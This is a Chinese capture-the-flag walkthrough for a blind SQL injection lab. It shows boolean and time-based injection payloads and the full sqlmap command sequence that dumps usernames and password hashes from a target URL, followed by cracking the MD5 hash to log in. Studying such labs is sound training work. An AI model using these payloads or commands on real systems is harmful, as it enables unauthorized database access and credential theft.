【墨者学院】:布尔盲注漏洞实战

0x00.题目描述:

背景介绍

一位热心的网友再次向“墨者”安全工程师挑战,“墨者”工程师在注入时发现网页无回显,“墨者”工程师想了一会就注入完成拿到了key。

实训目标

1、掌握SQL注入原理;

2、了解MySQL的数据结构;

3、了解布尔盲注相关语句;

解题方向

1、通过布尔盲注得到后台账号,从而获得key。

0x01.解题思路:

手工注入&sqlmap注入两种方法。

靶场环境:


主界面

维护界面

经过测试,确定注入点在维护界面的URL链接的id参数中,但是没有报错回显,故而要通过盲注来进行判断。


手工注入:

利用布尔盲注,来进行爆库:

首先是爆数据库名:

payload1(布尔盲注):?id=1 or if(ascii(substr(database(),1,1))>1,1,0),该语句表示如果当前数据库首字母ASCII值大于1的话,条件语句为1,否则为0。

payload2(延时盲注):?id=1 or if(ascii(substr(database(),sleep(5),1))>1,1,0),该语句表示如果当前数据库首字母ASCII值大于1的话,执行5s的延时函数,否则为0。

得到正常的页面,说明上面的判断语句是正确的,可以写脚本来进行爆库,这样效率会高很多

手工盲注的基本操作就是这样,接下来就是爆表名,列名以及字段了。

sqlmap注入:

直接把维护页面的URL丢进sqlmap中,检测参数id的可注入性。

爆库名:sqlmap.py -u "http://219.153.49.228:43837/new_list.php?id=1" --dbs --batch


可以再爆一下当前数据库,得到当前数据库为stormgroup。

爆表名:sqlmap.py -u "http://219.153.49.228:43837/new_list.php?id=1" -D stormgroup --tables --batch


爆列名:sqlmap.py -u "http://219.153.49.228:43837/new_list.php?id=1" -D stormgroup -T member --columns --batch


爆字段:sqlmap.py -u "http://219.153.49.228:43837/new_list.php?id=1" -D stormgroup -T member -C 'name,password' --dump --batch


得到的密码是经过MD5加密的,MD5在线进行解密一下即可得到真实的密码


登录即可得到flag~

你可能感兴趣的:(【墨者学院】:布尔盲注漏洞实战)